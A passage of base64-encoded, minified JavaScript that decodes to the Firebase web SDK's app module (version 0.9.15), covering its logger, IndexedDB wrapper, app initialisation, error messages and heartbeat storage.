VzKCkpfX12YXIgSSxTOyhTPUl8fChJPXt9KSlbUy5ERUJVRz0wXT0iREVCVUciLFNbUy5WRVJCT1NFPTFdPSJWRVJCT1NFIixTW1MuSU5GTz0yXT0iSU5GTyIsU1tTLldBUk49M109IldBUk4iLFNbUy5FUlJPUj00XT0iRVJST1IiLFNbUy5TSUxFTlQ9NV09IlNJTEVOVCI7Y29uc3Qgaz17ZGVidWc6SS5ERUJVRyx2ZXJib3NlOkkuVkVSQk9TRSxpbmZvOkkuSU5GTyx3YXJuOkkuV0FSTixlcnJvcjpJLkVSUk9SLHNpbGVudDpJLlNJTEVOVH0sXz1JLklORk8sRT17W0kuREVCVUddOiJsb2ciLFtJLlZFUkJPU0VdOiJsb2ciLFtJLklORk9dOiJpbmZvIixbSS5XQVJOXToid2FybiIsW0kuRVJST1JdOiJlcnJvciJ9LEQ9KGUsdCwuLi5uKT0+e2lmKHQ8ZS5sb2dMZXZlbClyZXR1cm47KG5ldyBEYXRlKS50b0lTT1N0cmluZygpO2lmKCFFW3RdKXRocm93IG5ldyBFcnJvcihgQXR0ZW1wdGVkIHRvIGxvZyBhIG1lc3NhZ2Ugd2l0aCBhbiBpbnZhbGlkIGxvZ1R5cGUgKHZhbHVlOiAke3R9KWApfTtjb25zdCBDPShlLHQpPT50LnNvbWUoKHQ9PmUgaW5zdGFuY2VvZiB0KSk7bGV0IFQsQTtjb25zdCBPPW5ldyBXZWFrTWFwLE09bmV3IFdlYWtNYXAsaj1uZXcgV2Vha01hcCxOPW5ldyBXZWFrTWFwLFA9bmV3IFdlYWtNYXA7bGV0IEI9e2dldChlLHQsbil7aWYoZSBpbnN0YW5jZW9mIElEQlRyYW5zYWN0aW9uKXtpZigiZG9uZSI9PT10KXJldHVybiBNLmdldChlKTtpZigib2JqZWN0U3RvcmVOYW1lcyI9PT10KXJldHVybiBlLm9iamVjdFN0b3JlTmFtZXN8fGouZ2V0KGUpO2lmKCJzdG9yZSI9PT10KXJldHVybiBuLm9iamVjdFN0b3JlTmFtZXNbMV0/dm9pZCAwOm4ub2JqZWN0U3RvcmUobi5vYmplY3RTdG9yZU5hbWVzWzBdKX1yZXR1cm4gUihlW3RdKX0sc2V0OihlLHQsbik9PihlW3RdPW4sITApLGhhczooZSx0KT0+ZSBpbnN0YW5jZW9mIElEQlRyYW5zYWN0aW9uJiYoImRvbmUiPT09dHx8InN0b3JlIj09PXQpfHx0IGluIGV9O2Z1bmN0aW9uIEwoZSl7cmV0dXJuIGUhPT1JREJEYXRhYmFzZS5wcm90b3R5cGUudHJhbnNhY3Rpb258fCJvYmplY3RTdG9yZU5hbWVzImluIElEQlRyYW5zYWN0aW9uLnByb3RvdHlwZT8oQXx8KEE9W0lEQkN1cnNvci5wcm90b3R5cGUuYWR2YW5jZSxJREJDdXJzb3IucHJvdG90eXBlLmNvbnRpbnVlLElEQkN1cnNvci5wcm90b3R5cGUuY29udGludWVQcmltYXJ5S2V5XSkpLmluY2x1ZGVzKGUpP2Z1bmN0aW9uKC4uLnQpe3JldHVybiBlLmFwcGx5KHgodGhpcyksdCksUihPLmdldCh0aGlzKSl9OmZ1bmN0aW9uKC4uLnQpe3JldHVybiBSKGUuYXBwbHkoeCh0aGlzKSx0KSl9OmZ1bmN0aW9uKHQsLi4ubil7Y29uc3QgaT1lLmNhbGwoeCh0aGlzKSx0LC4uLm4pO3JldHVybiBqLnNldChpLHQuc29ydD90LnNvcnQoKTpbdF0pLFIoaSl9fWZ1bmN0aW9uICQoZSl7cmV0dXJuImZ1bmN0aW9uIj09dHlwZW9mIGU/TChlKTooZSBpbnN0YW5jZW9mIElEQlRyYW5zYWN0aW9uJiZmdW5jdGlvbihlKXtpZihNLmhhcyhlKSlyZXR1cm47Y29uc3QgdD1uZXcgUHJvbWlzZSgoKHQsbik9Pntjb25zdCBpPSgpPT57ZS5yZW1vdmVFdmVudExpc3RlbmVyKCJjb21wbGV0ZSIsciksZS5yZW1vdmVFdmVudExpc3RlbmVyKCJlcnJvciIsYSksZS5yZW1vdmVFdmVudExpc3RlbmVyKCJhYm9ydCIsYSl9LHI9KCk9Pnt0KCksaSgpfSxhPSgpPT57bihlLmVycm9yfHxuZXcgRE9NRXhjZXB0aW9uKCJBYm9ydEVycm9yIiwiQWJvcnRFcnJvciIpKSxpKCl9O2UuYWRkRXZlbnRMaXN0ZW5lcigiY29tcGxldGUiLHIpLGUuYWRkRXZlbnRMaXN0ZW5lcigiZXJyb3IiLGEpLGUuYWRkRXZlbnRMaXN0ZW5lcigiYWJvcnQiLGEpfSkpO00uc2V0KGUsdCl9KGUpLEMoZSxUfHwoVD1bSURCRGF0YWJhc2UsSURCT2JqZWN0U3RvcmUsSURCSW5kZXgsSURCQ3Vyc29yLElEQlRyYW5zYWN0aW9uXSkpP25ldyBQcm94eShlLEIpOmUpfWZ1bmN0aW9uIFIoZSl7aWYoZSBpbnN0YW5jZW9mIElEQlJlcXVlc3QpcmV0dXJuIGZ1bmN0aW9uKGUpe2NvbnN0IHQ9bmV3IFByb21pc2UoKCh0LG4pPT57Y29uc3QgaT0oKT0+e2UucmVtb3ZlRXZlbnRMaXN0ZW5lcigic3VjY2VzcyIsciksZS5yZW1vdmVFdmVudExpc3RlbmVyKCJlcnJvciIsYSl9LHI9KCk9Pnt0KFIoZS5yZXN1bHQpKSxpKCl9LGE9KCk9PntuKGUuZXJyb3IpLGkoKX07ZS5hZGRFdmVudExpc3RlbmVyKCJzdWNjZXNzIixyKSxlLmFkZEV2ZW50TGlzdGVuZXIoImVycm9yIixhKX0pKTtyZXR1cm4gdC50aGVuKCh0PT57dCBpbnN0YW5jZW9mIElEQkN1cnNvciYmTy5zZXQodCxlKX0pKS5jYXRjaCgoKCk9Pnt9KSksUC5zZXQodCxlKSx0fShlKTtpZihOLmhhcyhlKSlyZXR1cm4gTi5nZXQoZSk7Y29uc3QgdD0kKGUpO3JldHVybiB0IT09ZSYmKE4uc2V0KGUsdCksUC5zZXQodCxlKSksdH1jb25zdCB4PWU9PlAuZ2V0KGUpO2NvbnN0IEs9WyJnZXQiLCJnZXRLZXkiLCJnZXRBbGwiLCJnZXRBbGxLZXlzIiwiY291bnQiXSxIPVsicHV0IiwiYWRkIiwiZGVsZXRlIiwiY2xlYXIiXSxGPW5ldyBNYXA7ZnVuY3Rpb24gVyhlLHQpe2lmKCEoZSBpbnN0YW5jZW9mIElEQkRhdGFiYXNlKXx8dCBpbiBlfHwic3RyaW5nIiE9dHlwZW9mIHQpcmV0dXJuO2lmKEYuZ2V0KHQpKXJldHVybiBGLmdldCh0KTtjb25zdCBuPXQucmVwbGFjZSgvRnJvbUluZGV4JC8sIiIpLGk9dCE9PW4scj1ILmluY2x1ZGVzKG4pO2lmKCEobiBpbihpP0lEQkluZGV4OklEQk9iamVjdFN0b3JlKS5wcm90b3R5cGUpfHwhciYmIUsuaW5jbHVkZXMobikpcmV0dXJuO2NvbnN0IGE9YXN5bmMgZnVuY3Rpb24oZSwuLi50KXtjb25zdCBhPXRoaXMudHJhbnNhY3Rpb24oZSxyPyJyZWFkd3JpdGUiOiJyZWFkb25seSIpO2xldCBvPWEuc3RvcmU7cmV0dXJuIGkmJihvPW8uaW5kZXgodC5zaGlmdCgpKSksKGF3YWl0IFByb21pc2UuYWxsKFtvW25dKC4uLnQpLHImJmEuZG9uZV0pKVswXX07cmV0dXJuIEYuc2V0KHQsYSksYX1CPShlPT4oey4uLmUsZ2V0Oih0LG4saSk9PlcodCxuKXx8ZS5nZXQodCxuLGkpLGhhczoodCxuKT0+ISFXKHQsbil8fGUuaGFzKHQsbil9KSkoQik7Y2xhc3MgVntjb25zdHJ1Y3RvcihlKXt0aGlzLmNvbnRhaW5lcj1lfWdldFBsYXRmb3JtSW5mb1N0cmluZygpe3JldHVybiB0aGlzLmNvbnRhaW5lci5nZXRQcm92aWRlcnMoKS5tYXAoKGU9PntpZihmdW5jdGlvbihlKXtjb25zdCB0PWUuZ2V0Q29tcG9uZW50KCk7cmV0dXJuIlZFUlNJT04iPT09KG51bGw9PXQ/dm9pZCAwOnQudHlwZSl9KGUpKXtjb25zdCB0PWUuZ2V0SW1tZWRpYXRlKCk7cmV0dXJuYCR7dC5saWJyYXJ5fS8ke3QudmVyc2lvbn1gfXJldHVybiBudWxsfSkpLmZpbHRlcigoZT0+ZSkpLmpvaW4oIiAiKX19Y29uc3QgVT0iQGZpcmViYXNlL2FwcCIsej0iMC45LjE1IixxPW5ldyBjbGFzc3tjb25zdHJ1Y3RvcihlKXt0aGlzLm5hbWU9ZSx0aGlzLl9sb2dMZXZlbD1fLHRoaXMuX2xvZ0hhbmRsZXI9RCx0aGlzLl91c2VyTG9nSGFuZGxlcj1udWxsfWdldCBsb2dMZXZlbCgpe3JldHVybiB0aGlzLl9sb2dMZXZlbH1zZXQgbG9nTGV2ZWwoZSl7aWYoIShlIGluIEkpKXRocm93IG5ldyBUeXBlRXJyb3IoYEludmFsaWQgdmFsdWUgIiR7ZX0iIGFzc2lnbmVkIHRvIFxgbG9nTGV2ZWxcYGApO3RoaXMuX2xvZ0xldmVsPWV9c2V0TG9nTGV2ZWwoZSl7dGhpcy5fbG9nTGV2ZWw9InN0cmluZyI9PXR5cGVvZiBlP2tbZV06ZX1nZXQgbG9nSGFuZGxlcigpe3JldHVybiB0aGlzLl9sb2dIYW5kbGVyfXNldCBsb2dIYW5kbGVyKGUpe2lmKCJmdW5jdGlvbiIhPXR5cGVvZiBlKXRocm93IG5ldyBUeXBlRXJyb3IoIlZhbHVlIGFzc2lnbmVkIHRvIGBsb2dIYW5kbGVyYCBtdXN0IGJlIGEgZnVuY3Rpb24iKTt0aGlzLl9sb2dIYW5kbGVyPWV9Z2V0IHVzZXJMb2dIYW5kbGVyKCl7cmV0dXJuIHRoaXMuX3VzZXJMb2dIYW5kbGVyfXNldCB1c2VyTG9nSGFuZGxlcihlKXt0aGlzLl91c2VyTG9nSGFuZGxlcj1lfWRlYnVnKC4uLmUpe3RoaXMuX3VzZXJMb2dIYW5kbGVyJiZ0aGlzLl91c2VyTG9nSGFuZGxlcih0aGlzLEkuREVCVUcsLi4uZSksdGhpcy5fbG9nSGFuZGxlcih0aGlzLEkuREVCVUcsLi4uZSl9bG9nKC4uLmUpe3RoaXMuX3VzZXJMb2dIYW5kbGVyJiZ0aGlzLl91c2VyTG9nSGFuZGxlcih0aGlzLEkuVkVSQk9TRSwuLi5lKSx0aGlzLl9sb2dIYW5kbGVyKHRoaXMsSS5WRVJCT1NFLC4uLmUpfWluZm8oLi4uZSl7dGhpcy5fdXNlckxvZ0hhbmRsZXImJnRoaXMuX3VzZXJMb2dIYW5kbGVyKHRoaXMsSS5JTkZPLC4uLmUpLHRoaXMuX2xvZ0hhbmRsZXIodGhpcyxJLklORk8sLi4uZSl9d2FybiguLi5lKXt0aGlzLl91c2VyTG9nSGFuZGxlciYmdGhpcy5fdXNlckxvZ0hhbmRsZXIodGhpcyxJLldBUk4sLi4uZSksdGhpcy5fbG9nSGFuZGxlcih0aGlzLEkuV0FSTiwuLi5lKX1lcnJvciguLi5lKXt0aGlzLl91c2VyTG9nSGFuZGxlciYmdGhpcy5fdXNlckxvZ0hhbmRsZXIodGhpcyxJLkVSUk9SLC4uLmUpLHRoaXMuX2xvZ0hhbmRsZXIodGhpcyxJLkVSUk9SLC4uLmUpfX0oIkBmaXJlYmFzZS9hcHAiKSxHPSJbREVGQVVMVF0iLEo9e1tVXToiZmlyZS1jb3JlIiwiQGZpcmViYXNlL2FwcC1jb21wYXQiOiJmaXJlLWNvcmUtY29tcGF0IiwiQGZpcmViYXNlL2FuYWx5dGljcyI6ImZpcmUtYW5hbHl0aWNzIiwiQGZpcmViYXNlL2FuYWx5dGljcy1jb21wYXQiOiJmaXJlLWFuYWx5dGljcy1jb21wYXQiLCJAZmlyZWJhc2UvYXBwLWNoZWNrIjoiZmlyZS1hcHAtY2hlY2siLCJAZmlyZWJhc2UvYXBwLWNoZWNrLWNvbXBhdCI6ImZpcmUtYXBwLWNoZWNrLWNvbXBhdCIsIkBmaXJlYmFzZS9hdXRoIjoiZmlyZS1hdXRoIiwiQGZpcmViYXNlL2F1dGgtY29tcGF0IjoiZmlyZS1hdXRoLWNvbXBhdCIsIkBmaXJlYmFzZS9kYXRhYmFzZSI6ImZpcmUtcnRkYiIsIkBmaXJlYmFzZS9kYXRhYmFzZS1jb21wYXQiOiJmaXJlLXJ0ZGItY29tcGF0IiwiQGZpcmViYXNlL2Z1bmN0aW9ucyI6ImZpcmUtZm4iLCJAZmlyZWJhc2UvZnVuY3Rpb25zLWNvbXBhdCI6ImZpcmUtZm4tY29tcGF0IiwiQGZpcmViYXNlL2luc3RhbGxhdGlvbnMiOiJmaXJlLWlpZCIsIkBmaXJlYmFzZS9pbnN0YWxsYXRpb25zLWNvbXBhdCI6ImZpcmUtaWlkLWNvbXBhdCIsIkBmaXJlYmFzZS9tZXNzYWdpbmciOiJmaXJlLWZjbSIsIkBmaXJlYmFzZS9tZXNzYWdpbmctY29tcGF0IjoiZmlyZS1mY20tY29tcGF0IiwiQGZpcmViYXNlL3BlcmZvcm1hbmNlIjoiZmlyZS1wZXJmIiwiQGZpcmViYXNlL3BlcmZvcm1hbmNlLWNvbXBhdCI6ImZpcmUtcGVyZi1jb21wYXQiLCJAZmlyZWJhc2UvcmVtb3RlLWNvbmZpZyI6ImZpcmUtcmMiLCJAZmlyZWJhc2UvcmVtb3RlLWNvbmZpZy1jb21wYXQiOiJmaXJlLXJjLWNvbXBhdCIsIkBmaXJlYmFzZS9zdG9yYWdlIjoiZmlyZS1nY3MiLCJAZmlyZWJhc2Uvc3RvcmFnZS1jb21wYXQiOiJmaXJlLWdjcy1jb21wYXQiLCJAZmlyZWJhc2UvZmlyZXN0b3JlIjoiZmlyZS1mc3QiLCJAZmlyZWJhc2UvZmlyZXN0b3JlLWNvbXBhdCI6ImZpcmUtZnN0LWNvbXBhdCIsImZpcmUtanMiOiJmaXJlLWpzIixmaXJlYmFzZToiZmlyZS1qcy1hbGwifSxZPW5ldyBNYXAsUT1uZXcgTWFwO2Z1bmN0aW9uIFgoZSx0KXt0cnl7ZS5jb250YWluZXIuYWRkQ29tcG9uZW50KHQpfWNhdGNoKG4pe3EuZGVidWcoYENvbXBvbmVudCAke3QubmFtZX0gZmFpbGVkIHRvIHJlZ2lzdGVyIHdpdGggRmlyZWJhc2VBcHAgJHtlLm5hbWV9YCxuKX19ZnVuY3Rpb24gWihlKXtjb25zdCB0PWUubmFtZTtpZihRLmhhcyh0KSlyZXR1cm4gcS5kZWJ1ZyhgVGhlcmUgd2VyZSBtdWx0aXBsZSBhdHRlbXB0cyB0byByZWdpc3RlciBjb21wb25lbnQgJHt0fS5gKSwhMTtRLnNldCh0LGUpO2Zvcihjb25zdCBuIG9mIFkudmFsdWVzKCkpWChuLGUpO3JldHVybiEwfWZ1bmN0aW9uIGVlKGUsdCl7Y29uc3Qgbj1lLmNvbnRhaW5lci5nZXRQcm92aWRlcigiaGVhcnRiZWF0IikuZ2V0SW1tZWRpYXRlKHtvcHRpb25hbDohMH0pO3JldHVybiBuJiZuLnRyaWdnZXJIZWFydGJlYXQoKSxlLmNvbnRhaW5lci5nZXRQcm92aWRlcih0KX1jb25zdCB0ZT1uZXcgcCgiYXBwIiwiRmlyZWJhc2UiLHsibm8tYXBwIjoiTm8gRmlyZWJhc2UgQXBwICd7JGFwcE5hbWV9JyBoYXMgYmVlbiBjcmVhdGVkIC0gY2FsbCBpbml0aWFsaXplQXBwKCkgZmlyc3QiLCJiYWQtYXBwLW5hbWUiOiJJbGxlZ2FsIEFwcCBuYW1lOiAneyRhcHBOYW1lfSIsImR1cGxpY2F0ZS1hcHAiOiJGaXJlYmFzZSBBcHAgbmFtZWQgJ3skYXBwTmFtZX0nIGFscmVhZHkgZXhpc3RzIHdpdGggZGlmZmVyZW50IG9wdGlvbnMgb3IgY29uZmlnIiwiYXBwLWRlbGV0ZWQiOiJGaXJlYmFzZSBBcHAgbmFtZWQgJ3skYXBwTmFtZX0nIGFscmVhZHkgZGVsZXRlZCIsIm5vLW9wdGlvbnMiOiJOZWVkIHRvIHByb3ZpZGUgb3B0aW9ucywgd2hlbiBub3QgYmVpbmcgZGVwbG95ZWQgdG8gaG9zdGluZyB2aWEgc291cmNlLiIsImludmFsaWQtYXBwLWFyZ3VtZW50IjoiZmlyZWJhc2UueyRhcHBOYW1lfSgpIHRha2VzIGVpdGhlciBubyBhcmd1bWVudCBvciBhIEZpcmViYXNlIEFwcCBpbnN0YW5jZS4iLCJpbnZhbGlkLWxvZy1hcmd1bWVudCI6IkZpcnN0IGFyZ3VtZW50IHRvIGBvbkxvZ2AgbXVzdCBiZSBudWxsIG9yIGEgZnVuY3Rpb24uIiwiaWRiLW9wZW4iOiJFcnJvciB0aHJvd24gd2hlbiBvcGVuaW5nIEluZGV4ZWREQi4gT3JpZ2luYWwgZXJyb3I6IHskb3JpZ2luYWxFcnJvck1lc3NhZ2V9LiIsImlkYi1nZXQiOiJFcnJvciB0aHJvd24gd2hlbiByZWFkaW5nIGZyb20gSW5kZXhlZERCLiBPcmlnaW5hbCBlcnJvcjogeyRvcmlnaW5hbEVycm9yTWVzc2FnZX0uIiwiaWRiLXNldCI6IkVycm9yIHRocm93biB3aGVuIHdyaXRpbmcgdG8gSW5kZXhlZERCLiBPcmlnaW5hbCBlcnJvcjogeyRvcmlnaW5hbEVycm9yTWVzc2FnZX0uIiwiaWRiLWRlbGV0ZSI6IkVycm9yIHRocm93biB3aGVuIGRlbGV0aW5nIGZyb20gSW5kZXhlZERCLiBPcmlnaW5hbCBlcnJvcjogeyRvcmlnaW5hbEVycm9yTWVzc2FnZX0uIn0pO2NsYXNzIG5le2NvbnN0cnVjdG9yKGUsdCxuKXt0aGlzLl9pc0RlbGV0ZWQ9ITEsdGhpcy5fb3B0aW9ucz1PYmplY3QuYXNzaWduKHt9LGUpLHRoaXMuX2NvbmZpZz1PYmplY3QuYXNzaWduKHt9LHQpLHRoaXMuX25hbWU9dC5uYW1lLHRoaXMuX2F1dG9tYXRpY0RhdGFDb2xsZWN0aW9uRW5hYmxlZD10LmF1dG9tYXRpY0RhdGFDb2xsZWN0aW9uRW5hYmxlZCx0aGlzLl9jb250YWluZXI9bix0aGlzLmNvbnRhaW5lci5hZGRDb21wb25lbnQobmV3IGIoImFwcCIsKCgpPT50aGlzKSwiUFVCTElDIikpfWdldCBhdXRvbWF0aWNEYXRhQ29sbGVjdGlvbkVuYWJsZWQoKXtyZXR1cm4gdGhpcy5jaGVja0Rlc3Ryb3llZCgpLHRoaXMuX2F1dG9tYXRpY0RhdGFDb2xsZWN0aW9uRW5hYmxlZH1zZXQgYXV0b21hdGljRGF0YUNvbGxlY3Rpb25FbmFibGVkKGUpe3RoaXMuY2hlY2tEZXN0cm95ZWQoKSx0aGlzLl9hdXRvbWF0aWNEYXRhQ29sbGVjdGlvbkVuYWJsZWQ9ZX1nZXQgbmFtZSgpe3JldHVybiB0aGlzLmNoZWNrRGVzdHJveWVkKCksdGhpcy5fbmFtZX1nZXQgb3B0aW9ucygpe3JldHVybiB0aGlzLmNoZWNrRGVzdHJveWVkKCksdGhpcy5fb3B0aW9uc31nZXQgY29uZmlnKCl7cmV0dXJuIHRoaXMuY2hlY2tEZXN0cm95ZWQoKSx0aGlzLl9jb25maWd9Z2V0IGNvbnRhaW5lcigpe3JldHVybiB0aGlzLl9jb250YWluZXJ9Z2V0IGlzRGVsZXRlZCgpe3JldHVybiB0aGlzLl9pc0RlbGV0ZWR9c2V0IGlzRGVsZXRlZChlKXt0aGlzLl9pc0RlbGV0ZWQ9ZX1jaGVja0Rlc3Ryb3llZCgpe2lmKHRoaXMuaXNEZWxldGVkKXRocm93IHRlLmNyZWF0ZSgiYXBwLWRlbGV0ZWQiLHthcHBOYW1lOnRoaXMuX25hbWV9KX19ZnVuY3Rpb24gaWUoZSx0PXt9KXtsZXQgbj1lO2lmKCJvYmplY3QiIT10eXBlb2YgdCl7dD17bmFtZTp0fX1jb25zdCBpPU9iamVjdC5hc3NpZ24oe25hbWU6RyxhdXRvbWF0aWNEYXRhQ29sbGVjdGlvbkVuYWJsZWQ6ITF9LHQpLHI9aS5uYW1lO2lmKCJzdHJpbmciIT10eXBlb2Ygcnx8IXIpdGhyb3cgdGUuY3JlYXRlKCJiYWQtYXBwLW5hbWUiLHthcHBOYW1lOlN0cmluZyhyKX0pO2lmKG58fChuPXMoKSksIW4pdGhyb3cgdGUuY3JlYXRlKCJuby1vcHRpb25zIik7Y29uc3QgYT1ZLmdldChyKTtpZihhKXtpZihoKG4sYS5vcHRpb25zKSYmaChpLGEuY29uZmlnKSlyZXR1cm4gYTt0aHJvdyB0ZS5jcmVhdGUoImR1cGxpY2F0ZS1hcHAiLHthcHBOYW1lOnJ9KX1jb25zdCBvPW5ldyB2KHIpO2Zvcihjb25zdCBzIG9mIFEudmFsdWVzKCkpby5hZGRDb21wb25lbnQocyk7Y29uc3QgYz1uZXcgbmUobixpLG8pO3JldHVybiBZLnNldChyLGMpLGN9ZnVuY3Rpb24gcmUoZSx0LG4pe3ZhciBpO2xldCByPW51bGwhPT0oaT1KW2VdKSYmdm9pZCAwIT09aT9pOmU7biYmKHIrPWAtJHtufWApO2NvbnN0IGE9ci5tYXRjaCgvXHN8XC8vKSxvPXQubWF0Y2goL1xzfFwvLyk7aWYoYXx8byl7Y29uc3QgZT1bYFVuYWJsZSB0byByZWdpc3RlciBsaWJyYXJ5ICIke3J9IiB3aXRoIHZlcnNpb24gIiR7dH0iOmBdO3JldHVybiBhJiZlLnB1c2goYGxpYnJhcnkgbmFtZSAiJHtyfSIgY29udGFpbnMgaWxsZWdhbCBjaGFyYWN0ZXJzICh3aGl0ZXNwYWNlIG9yICIvIilgKSxhJiZvJiZlLnB1c2goImFuZCIpLG8mJmUucHVzaChgdmVyc2lvbiBuYW1lICIke3R9IiBjb250YWlucyBpbGxlZ2FsIGNoYXJhY3RlcnMgKHdoaXRlc3BhY2Ugb3IgIi8iKWApLHZvaWQgcS53YXJuKGUuam9pbigiICIpKX1aKG5ldyBiKGAke3J9LXZlcnNpb25gLCgoKT0+KHtsaWJyYXJ5OnIsdmVyc2lvbjp0fSkpLCJWRVJTSU9OIikpfWNvbnN0IGFlPSJmaXJlYmFzZS1oZWFydGJlYXQtZGF0YWJhc2UiLG9lPTEsc2U9ImZpcmViYXNlLWhlYXJ0YmVhdC1zdG9yZSI7bGV0IGNlPW51bGw7ZnVuY3Rpb24gdWUoKXtyZXR1cm4gY2V8fChjZT1mdW5jdGlvbihlLHQse2Jsb2NrZWQ6bix1cGdyYWRlOmksYmxvY2tpbmc6cix0ZXJtaW5hdGVkOmF9PXt9KXtjb25zdCBvPWluZGV4ZWREQi5vcGVuKGUsdCkscz1SKG8pO3JldHVybiBpJiZvLmFkZEV2ZW50TGlzdGVuZXIoInVwZ3JhZGVuZWVkZWQiLChlPT57aShSKG8ucmVzdWx0KSxlLm9sZFZlcnNpb24sZS5uZXdWZXJzaW9uLFIoby50cmFuc2FjdGlvbiksZSl9KSksbiYmby5hZGRFdmVudExpc3RlbmVyKCJibG9ja2VkIiwoZT0+bihlLm9sZFZlcnNpb24sZS5uZXdWZXJzaW9uLGUpKSkscy50aGVuKChlPT57YSYmZS5hZGRFdmVudExpc3RlbmVyKCJjbG9zZSIsKCgpPT5hKCkpKSxyJiZlLmFkZEV2ZW50TGlzdGVuZXIoInZlcnNpb25jaGFuZ2UiLChlPT5yKGUub2xkVmVyc2lvbixlLm5ld1ZlcnNpb24sZSkpKX0pKS5jYXRjaCgoKCk9Pnt9KSksc30oYWUsb2Use3VwZ3JhZGU6KGUsdCk9PntpZigwPT09dCllLmNyZWF0ZU9iamVjdFN0b3JlKHNlKX19KS5jYXRjaCgoZT0+e3Rocm93IHRlLmNyZWF0ZSgiaWRiLW9wZW4iLHtvcmlnaW5hbEVycm9yTWVzc2FnZTplLm1lc3NhZ2V9KX0pKSksY2V9YXN5bmMgZnVuY3Rpb24gZGUoZSx0KXt0cnl7Y29uc3Qgbj0oYXdhaXQgdWUoKSkudHJhbnNhY3Rpb24oc2UsInJlYWR3cml0ZSIpLGk9bi5vYmplY3RTdG9yZShzZSk7YXdhaXQgaS5wdXQodCxsZShlKSksYXdhaXQgbi5kb25lfWNhdGNoKG4pe2lmKG4gaW5zdGFuY2VvZiBsKXEud2FybihuLm1lc3NhZ2UpO2Vsc2V7Y29uc3QgZT10ZS5jcmVhdGUoImlkYi1zZXQiLHtvcmlnaW5hbEVycm9yTWVzc2FnZTpudWxsPT1uP3ZvaWQgMDpuLm1lc3NhZ2V9KTtxLndhcm4oZS5tZXNzYWdlKX19fWZ1bmN0aW9uIGxlKGUpe3JldHVybmAke2UubmFtZX0hJHtlLm9wdGlvbnMuYXBwSWR9YH1jbGFzcyBwZXtjb25zdHJ1Y3RvcihlKXt0aGlzLmNvbnRhaW5lcj1lLHRoaXMuX2hlYXJ0YmVhdHNDYWNoZT1udWxsO2NvbnN0IHQ9dGhpcy5jb250YWluZXIuZ2V0UHJvdmlkZXIoImFwcCIpLmdldEltbWVkaWF0ZSgpO3RoaXMuX3N0b3JhZ2U9bmV3IGhlKHQpLHRoaXMuX2hlYXJ0YmVhdHNDYWNoZVByb21pc2U9dGhpcy5fc3RvcmFnZS5yZWFkKCkudGhlbigoZT0+KHRoaXMuX2hlYXJ0YmVhdHNDYWNoZT1lLGUpKSl9YXN5bmMgdHJpZ2dlckhlYXJ0YmVhdCgpe2NvbnN0IGU9dGhpcy5jb250YWluZXIuZ2V0UHJvdmlkZXIoInBsYXRmb3JtLWxvZ2dlciIpLmdldEltbWVkaWF0ZSgpLmdldFBsYXRmb3JtSW5mb1N0cmluZygpLHQ9ZmUoKTtpZihudWxsPT09dGhpcy5faGVhcnRiZWF0c0NhY2hlJiYodGhpcy5faGVhcnRiZWF0c0NhY2hlPWF3YWl0IHRoaXMuX2hlYXJ0YmVhdHNDYWNoZVByb21pc2UpLHRoaXMuX2hlYXJ0YmVhdHNDYWNoZS5sYXN0U2VudEhlYXJ0YmVhdERhdGUhPT10JiYhdGhpcy5faGVhcnRiZWF0c0NhY2hlLmhlYXJ0YmVhdHMuc29tZSgoZT0+ZS5kYXRlPT09dCkpKXJldHVybiB0aGlzLl9oZWFydGJlYXRzQ2FjaGUuaGVhcnRiZWF0cy5wdXNoKHtkYXRlOnQsYWdlbnQ6ZX0pLHRoaXMuX2hlYXJ0YmVhdHNDYWNoZS5oZWFydGJlYXRzPXRoaXMuX2hlYXJ0YmVhdHNDYWNoZS5oZWFydGJlYXRzLmZpbHRlcigoZT0+e2NvbnN0IHQ9bmV3IERhdGUoZS5kYXRlKS52YWx1ZU9mKCk7cmV0dXJuIERhdGUubm93KCktdDw9MjU5MmU2fSkpLHRoaXMuX3N0b3JhZ2Uub3ZlcndyaXRlKHRoaXMuX2hlYXJ0YmVhdHNDYWNoZSl9YXN5bmMgZ2V0SGVhcnRiZWF0c0hlYWRlcigpe2lmKG51bGw9PT10aGlzLl9oZWFydGJlYXRzQ2FjaGUmJmF3YWl0IHRoaXMuX2hlYXJ0YmVhdHNDYWNoZVByb21pc2UsbnVsbD09PXRoaXMuX2hlYXJ0YmVhdHNDYWNoZXx8MD09PXRoaXMuX2hlYXJ0YmVhdHNDYWNoZS5oZWFydGJlYXRzLmxlbmd0aClyZXR1cm4iIjtjb25zdCBlPWZlKCkse2hlYXJ0YmVhdHNUb1NlbmQ6dCx1bnNlbnRFbnRyaWVzOm59PWZ1bmN0aW9uKGUsdD0xMDI0KXtjb25zdCBuPVtdO2xldCBpPWUuc2xpY2UoKTtmb3IoY29uc3QgciBvZiBlKXtjb25zdCBlPW4uZmluZCgoZT0+ZS5hZ2VudD09PXIuYWdlbnQpKTtpZihlKXtpZihlLmRhdGVzLnB1c2goci5kYXRlKSxnZShuKT50KXtlLmRhdGVzLnBvcCgpO2JyZWFrfX1lbHNlIGlmKG4ucHVzaCh7YWdlbnQ6ci5hZ2VudCxkYXRlczpbci5kYXRlXX0pLGdlKG4pPnQpe24ucG9wKCk7YnJlYWt9aT1pLnNsaWNlKDEpfXJldHVybntoZWFydGJlYXRzVG9TZW5kOm4sdW5zZW50RW50cmllczppfX0odGhpcy5faGVhcnRiZWF0c0NhY2hlLmhlYXJ0YmVhdHMpLHI9aShKU09OLnN0cmluZ2lmeSh7dmVyc2lvbjoyLGhlYXJ0YmVhdHM6dH0pKTtyZXR1cm4gdGhpcy5faGVhcnRiZWF0c0NhY2hlLmxhc3RTZW50SGVhcnRiZWF0RGF0ZT1lLG4ubGVuZ3RoPjA/KHRoaXMuX2hlYXJ0YmVhdHNDYWNoZS5oZWFydGJlYXRzPW4sYXdhaXQgdGhpcy5fc3RvcmFnZS5vdmVyd3JpdGUodGhpcy5faGVhcnRiZWF0c0NhY2hlKSk6KHRoaXMuX2hlYXJ0YmVhdHNDYWNoZS5oZWFydGJlYXRzPVtdLHRoaXMuX3N0b3JhZ2Uub3ZlcndyaXRlKHRoaXMuX2hlYXJ0YmVhdHNDYWNoZSkpLHJ9fWZ1bmN0aW9uIGZlKCl7cmV0dXJuKG5ldyBEYXRlKS50b0lTT1N0cmluZygpLnN1YnN0cmluZygwLDEwKX1jbGFzcyBoZXtjb25zdHJ1Y3RvcihlKXt0aGlzLmFwcD1lLHRoaXMuX2NhblVzZUluZGV4ZWREQlByb21pc2U9dGhpcy5ydW5JbmRleGVkREJFbnZpcm9ubWVudENoZWNrKCl9YXN5bmMgcnVuSW5kZXhlZERCRW52aXJvbm1lbnRDaGVjaygpe3JldHVybiEhdSgpJiZkKCkudGhlbigoKCk9PiEwKSkuY2F0Y2goKCgpPT4